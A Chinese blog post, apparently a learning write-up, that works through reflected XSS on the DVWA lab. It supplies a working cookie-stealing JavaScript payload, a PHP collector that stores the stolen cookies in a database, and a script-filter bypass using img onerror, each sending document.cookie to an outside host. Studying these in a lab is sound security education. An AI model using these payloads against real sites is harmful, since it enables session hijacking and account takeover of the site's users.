信息安全之路-web-xss学习(1)

关于xss反射性漏洞

1.未加任何过滤的

(1).dvwa平台上可以看到源代码,如下

low级别

为了便于理解,代码如下:

<?php

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )

{// Feedback for end user

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?> 

判断是否存在name参数且该参数是否为空,不为空则输出Hello,和该参数的值

 

(2).如果输出<script>alert(0)</script>,则浏览器端接收到传来的服务端处理后的js代码就会直接解析执行

 

 

(这里做过实验,如果在浏览器端打开服务端js代码则直接看到源代码,不执行,所以说服务端处理后的js代码)

Ps:笔者在学习时设置了代理。IP会变,做的时候可以考虑该原因

(3) .当我们已知该漏洞时,考虑利用<script src=http://xxx></script>来执行外部js文件,从而在js中实现预先设置和更为强大的功能,如下,设置了获取cookie的源代码

Js代码:(一定要细心,笔者在此出错甚多,导致耗时太多,比如action后网址正确,要有http//,在浏览器端输入时会自动加上,但构造payload时会忘掉)

document.write("<form action='http://www.dvwa1.com/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。

Php代码:(同上,写php代码时一定要细心,比如:$_POST不能少了_符号,低级错误,哎)

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysql_connect("localhost","root","root");

mysql_select_db("dvwacookie",$conn);if(isset($_GET['data']))

{

    $sql="insert into low(cookie) values('".$_GET['data']."');";

    $result=mysql_query($sql,$conn);

    mysql_close();

}else if(isset($_POST['data']))

{

    $sql="insert into low(cookie) values('".$_POST['data']."');";

    $result=mysql_query($sql,$conn);

    mysql_close();

}else

{

    $sql="select * from low";

    $result=mysql_query($sql,$conn);

    while($row=mysql_fetch_array($result))

    {

        echo "偷取的cookie:".$row[1]."</br>";

    }

    mysql_close();

}?>

steal.php将我们获取到的cookie存到数据库中。

create database dvwacookie;

use dvwacookie;

create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入。

<script src=http://www.dvwa1.com/dvwaxss/cookie.js></script>

相当于构造链接。

http://www.dvwa1.com/dvwaxss/cookie.js?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

这时,数据库就接收到了cookie。

 

High级别

High利用正则过滤了script标签,需要绕过,那就不使用<script>标签,使用

<img src=#onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

这样同样可以出发js事件,服务端在解析时并不会解析Iuicode编码,而是到了html页面端会有解析,从而执行。

注意以上payload和这个区别:(引号结尾在document之前)

<img src=# onerror=(location.href="http://www.dvwa1.com/dvwaxss/steal.php?data=+document.cookie")>

 注意onerror后面会被当作js事件执行

 本文代码和理解参考:http://www.freebuf.com/articles/web/157953.html

 

posted @ 2018-10-21 18:35  qianxinggz  阅读(342)  评论(0编辑  收藏  举报